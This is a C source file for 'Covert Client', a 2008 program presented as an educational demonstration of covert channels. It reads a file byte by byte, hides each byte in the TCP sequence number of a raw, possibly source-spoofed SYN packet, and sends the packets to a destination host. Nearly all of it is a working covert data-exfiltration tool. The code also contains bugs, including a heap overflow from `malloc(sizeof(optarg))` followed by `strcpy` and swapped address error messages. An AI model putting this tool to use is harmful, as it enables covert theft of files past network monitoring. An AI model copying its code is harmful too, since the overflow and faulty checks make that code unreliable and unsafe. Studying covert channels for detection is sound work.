1 /*  CC - Covert Client
  2     a demonstration on covert chanels for educational purposes
  3     Copyright (C) 2008 ithilgore - ithilgore.ryu.L@gmail.com
  4
  5     This program is free software: you can redistribute it and/or modify
  6     it under the terms of the GNU General Public License as published by
  7     the Free Software Foundation, either version 3 of the License, or
  8     (at your option) any later version.
  9
 10     This program is distributed in the hope that it will be useful,
 11     but WITHOUT ANY WARRANTY; without even the implied warranty of
 12     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13     GNU General Public License for more details.
 14
 15     You should have received a copy of the GNU General Public License
 16     along with this program.  If not, see <http://www.gnu.org/licenses/>.
 17 */
 18
 19
 20 #include <stdio.h>
 21 #include <stdlib.h>
 22 #include <string.h>
 23 #include <errno.h>
 24 #include <arpa/inet.h>
 25 #include <sys/types.h>
 26 #include <sys/socket.h>
 27 #include <unistd.h>
 28 #include <signal.h>
 29 #include <linux/ip.h>   // linux ip header struct
 30 #include <linux/tcp.h>  // linux tcp header struct
 31
 32
 33 /* DEFINES */
 34 #define VERSION "1.0"
 35 #define NAME "CovertClient"
 36 #define TRUE 1
 37 #define FALSE 0
 38
 39 /* FUNCTION PROTOTYPES */
 40 void print_usage(void);
 41 void raw_packet_init(void);
 42 uint16_t checksum_comp(uint16_t *, int);
 43 void clean_exit(char *, int);
 44
 45
 46 /* DECLARATIONS */
 47  
 48 /* option stuct - idea taken by nmap */
 49 typedef struct options {
 50         char src[16];  /*  16 = 4*3 digits + 3 dots + 1'\0' */
 51         char dst[16];
 52         unsigned long int port;
 53         char *file;
 54         unsigned short int mode;
 55         unsigned short int verbose;
 56         char opt_ex;   /* bitwise boolean - if an option exists
 57                            corresponding bit will be 1 or else 0 -the setting
 58                            takes place inside the getopt loop */
 59 #ifdef DEBUG
 60         unsigned short int debug;
 61 #endif
 62 } options;      
 63
 64
 65 /* this struct contains both the ip header
 66  * and tcp header - if we reversed the
 67  * order of the headers would it work ???
 68  */
 69 typedef struct raw_pack {
 70         struct iphdr ip;
 71         struct tcphdr tcp;
 72 } raw_pack;
 73
 74
 75 /* pseudo header used for checksuming */
 76 /* this header never reaches the wire */
 77 typedef struct pseudo_hdr {
 78         u_int32_t src;
 79         u_int32_t dst;
 80         u_char mbz;
 81         u_char proto;
 82         u_int16_t len;
 83 } pseudo_hdr;
 84
 85
 86 /* GLOBAL VARIABLES */
 87
 88 options o;
 89
 90 /* generic exit printing func
 91  * it prints a perror msg additionally
 92  * if err is 1 
 93  */
 94 void clean_exit(char *msg, int err)
 95 {
 96         if (err == 1)
 97                 perror(msg);
 98         else 
 99                 fprintf(stderr, "%s \n", msg);
100
101         exit(EXIT_FAILURE);
102 }
103
104 void print_usage(void)
105 {
106         fprintf(stdout, "%s client by ithilgore\n", NAME);
107         fprintf(stdout,
108         "Options: \n"
109         "-d: destination ip \n"
110         "-s: source ip \n"
111         "-p: destination port \n"
112         "-f: file name \n"
113         "-v: verbose mode \n"
114         "-h: help \n"
115         "\n");
116         exit(EXIT_SUCCESS);
117 }
118
119
120 uint16_t checksum_comp(uint16_t *addr, int len) {   /*  compute TCP header checksum */
121                                                         /*  with the usual algorithm a bit changed */
122                                                         /*  for byte ordering problem resolving */
123                                                         /*  see RFC 1071 for more info */
124       /* Compute Internet Checksum for "count" bytes
125        *         beginning at location "addr".
126        */
127         register long sum = 0;
128         int count = len;
129         uint16_t temp;
130
131         while (count > 1)  {
132                 temp = htons(*addr++);   // in this line:added -> htons
133                 sum += temp;
134                 count -= 2;
135         }
136
137         /*  Add left-over byte, if any */
138         if (count > 0)
139                 sum += *(unsigned char *) addr;
140
141         /*  Fold 32-bit sum to 16 bits */
142         while (sum >> 16)
143                 sum = (sum & 0xffff) + (sum >> 16);
144
145         uint16_t checksum = ~sum;
146         return checksum;
147 }
148
149
150
151 void raw_packet_init(void) {
152
153         /* this code experiments with making raw structs by using
154          * the struct raw_pack (a combination of tcphdr and iphdr) and
155          * using pointers which is faster compared to using plain structs
156          * and moving them around - this technique is also
157          * used in the syn scanner Creeper (by ithilgore)
158          * the only new idea is using the combination of the 2 headers
159          * into a struct called raw_pack which makes the code more readable
160          */
161
162         /* The logic is simple: we create a buffer datagram into which the
163          * tcp and ip headers will be stored. We take into account the additional
164          * storage needed by the pseudo header used for the tcp checksumming process.
165          * The raw_pack pointer points to the beginning of the datagram
166          * and the pseudo_header will point to the end of the raw_pack (still inside
167          * the buffer datagram).
168          * The sendto() function will send only the portion of the datagram which
169          * contains the raw_pack (tcp and ip headers ) - the pseudo_header never reaches
170          * the wire
171          */
172
173         char datagram[sizeof(raw_pack) + sizeof(pseudo_hdr)];  /* buffer for the headers */
174         raw_pack *raw = (struct raw_pack *) datagram;          /* point the raw_pack to the datagram */ 
175         pseudo_hdr *phdr;       /* pseudo header pointer */
176         FILE *input;           /* file pointer */
177         int ch;                        /* buffer storing input from file */
178         int sockfd;            /* raw socket descriptor */
179         unsigned int dst, src; /* integers used for filling in the addresses with inet_pton() */
180         struct sockaddr_in sin; /* struct used for the raw socket info */
181
182         if ((input = fopen(o.file, "rb")) == NULL)
183         {
184                 fprintf(stderr, "file %s cannot be opened for reading\n", o.file);
185                 exit(EXIT_FAILURE);
186         }
187
188         memset(datagram, 0, sizeof(datagram)); /* bzero the datagram */
189         
190         /* convert strings to network ints */ 
191         if (inet_pton(AF_INET, o.dst, (unsigned int *) &dst) < 0)
192                 clean_exit("invalid source addr", 0);
193         if (inet_pton(AF_INET, o.src, (unsigned int *) &src) < 0)
194                 clean_exit("invalid dest addr", 0);
195
196         /* main raw packet building loop */
197         while ((ch = fgetc(input)) != EOF)
198         {
199
200                 sleep(1);     // TODO: optimal time needed here
201                 /* raw packet creation */
202                 /* ip header construction */
203                 /*
204                    0                   1                   2                   3  
205                    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
206                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
207                    |Version|  IHL  |Type of Service|          Total Length         |
208                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
209                    |         Identification        |Flags|      Fragment Offset    |
210                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
211                    |  Time to Live |    Protocol   |         Header Checksum       |
212                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
213                    |                       Source Address                          |
214                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
215                    |                    Destination Address                        |
216                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
217                    |                    Options                    |    Padding    |
218                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
219                    */
220
221                 /* all the values that are over 1 octer need to be network byte ordered */
222                 raw->ip.ihl = 5;
223                 raw->ip.version = 4;
224                 raw->ip.tos = 0;
225                 raw->ip.tot_len = htons(40);          /* 16 byte value */
226                 raw->ip.frag_off = 0;                 /* no fragment */
227                 raw->ip.ttl = 64;                     /* default value */
228                 raw->ip.protocol = IPPROTO_TCP;         /* protocol at L4 */
229                 raw->ip.check = 0;                    /* ??not needed in iphdr */
230                 raw->ip.saddr = (src);          
231                 raw->ip.daddr = (dst);
232                 
233                 /* There was a confusion with using the htonl function on the
234                  * ip addresses: if the addresses are already converted to network-
235                  * byte-order (which they are because of the inet_pton() called before)
236                  * then calling htonl on them will bring the opposite results, which
237                  * means that the address will be converted to host byte order causing
238                  * havoc. In addition if htonl() is called twice on the same network-
239                  * byte-order address the addr won't be converted back to a network byte addr
240                  * as seemingly expected ( following a 2 negatives make 1 positive logic ).
241                  * Now i am beginning to understand Hobbit's ranting about the bsd sockets
242                  * api .....
243                         raw->ip.saddr = htonl(src);
244                         raw->ip.daddr = htonl(dst);
245                         ^ IT WONT WORK if already in network byte order
246                 */
247
248
249                 /* tcp header construction */
250                 /*
251                    0                   1                   2                   3  
252                    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
253                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
254                    |          Source Port          |       Destination Port        |
255                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
256                    |                        Sequence Number                        |
257                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
258                    |                    Acknowledgment Number                      |
259                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
260                    |  Data |           |U|A|P|R|S|F|                               |
261                    | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
262                    |       |           |G|K|H|T|N|N|                               |
263                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
264                    |           Checksum            |         Urgent Pointer        |
265                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
266                    |                    Options                    |    Padding    |
267                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
268                    |                             data                              |
269                    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
270                    */
271
272                 raw->tcp.source = htons( 1 + (int) (10000.0 * rand() / (RAND_MAX + 1.0)) );
273                 raw->tcp.dest = htons(o.port);
274                 raw->tcp.seq = ch;              /* we encode the data in the seq */
275                 raw->tcp.ack_seq = 0;
276                 raw->tcp.res1 = 0;            /* reserved bits */
277                 raw->tcp.doff = 5;            /* header length (counted in 32 bit words) */
278                 raw->tcp.fin = 0;
279                 raw->tcp.syn = 1;
280                 raw->tcp.rst = 0;
281                 raw->tcp.psh = 0;
282                 raw->tcp.ack = 0;
283                 raw->tcp.urg = 0;
284                 raw->tcp.window = htons(512);
285                 raw->tcp.check = 0;
286                 raw->tcp.urg_ptr = 0;
287
288                 /* fill the socket struct */
289                 sin.sin_family = AF_INET;
290                 sin.sin_port = raw->tcp.source;
291                 sin.sin_addr.s_addr = raw->ip.daddr;  
292
293                 /* make a raw socket */
294                 if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
295                         clean_exit("cannot open socket", 1);
296
297                 /* ip header checksum */
298                 raw->ip.check = htons (checksum_comp((unsigned short *) &(raw->ip), 20));
299                 // TODO: some hosts respond with incorrect checksum ???
300
301                 /* pseudo header used for checksumming */
302                 phdr = (struct pseudo_hdr *) (datagram + sizeof(raw_pack));
303
304                 phdr->src = raw->ip.saddr;
305                 phdr->dst = raw->ip.daddr;
306                 phdr->mbz = 0;
307                 phdr->proto = IPPROTO_TCP;
308                 phdr->len = ntohs(0x14);
309
310
311                 /* tcp checksum */
312                 raw->tcp.check = htons  (checksum_comp(
313                                         (unsigned short *) &(raw->tcp),
314                                         sizeof(raw->tcp) + sizeof(pseudo_hdr)
315                                         )
316                                 );
317                 /* do u like the above indendentation ?? either way, i don't care */
318
319                 /* send the raw packet */
320                 int err = sendto(sockfd, datagram, sizeof(raw_pack), 0, (struct sockaddr *)&sin, sizeof(sin));
321                 if (err < 0)
322                         clean_exit("sendto error: ", 1);
323 #ifdef DEBUG
324                 if (o.debug)
325                         fprintf(stderr, "bytes send by sendto(): %d \n", err);
326 #endif
327
328                 fprintf(stdout, "Sending Data: %c\n", ch);
329                 close(sockfd);
330         }
331         fclose(input);
332 }
333
334
335
336 /****************** MAIN PROGRAM **************************/
337 int main(int argc, char **argv)
338 {
339
340         if (argc == 1) {
341                 print_usage();
342                 exit(EXIT_SUCCESS);
343         }
344
345         /* option parsing */
346         int opt;
347         while ((opt = getopt(argc, argv, "d:s:p:f:vhD")) != -1)
348         {
349                 switch (opt)
350                 {
351                         case 'd':    /* destination address */
352                                 strncpy(o.dst, optarg, sizeof(o.dst));      
353                                 // if the address is less than 15 chars strncpy pads the dest with nulls
354                                 o.opt_ex |= (1 << 0);
355                                 break;
356                         case 's':    /* source address */
357                                 strncpy(o.src, optarg, sizeof(o.dst));
358                                 o.opt_ex |= (1 << 1);
359                                 break;
360                         case 'p':    /* destination port */
361                                 o.port = atoi(optarg);
362                                 o.opt_ex |= (1 << 2);
363                                 break;
364                         case 'f':    /* input file */
365                                 o.file = (char *)malloc(sizeof (optarg));
366                                 strcpy(o.file, optarg);
367                                 o.opt_ex |= (1 << 3);
368                                 break;
369                         case 'v':    /* verbose mode */
370                                 o.verbose = TRUE;
371                                 break;
372                         case 'h':    /* help - usage */
373                                 print_usage();
374                                 break;
375 #ifdef DEBUG
376                         case 'D':    /* debug mode */
377                                 o.debug = TRUE;
378                                 break;
379 #endif
380                         case '?':    /* error */
381                                 fprintf(stderr, "option inconsistency : -%c \n"
382                                                 "see usage(no arguments)\n", optopt );
383                                 exit(EXIT_FAILURE);
384                 }
385         }
386         /* some option restrictions */
387         if ((o.opt_ex & 0x0F) != 0x0F)
388                 clean_exit("need to provide all -d -s -p -f arguments", 0);
389
390         /* check if u r r00t */
391         if (getuid() && geteuid())
392                 clean_exit("need to be root", 0);
393
394         /* create the raw packet and send it */
395         raw_packet_init();
396
397         return(EXIT_SUCCESS);
398 }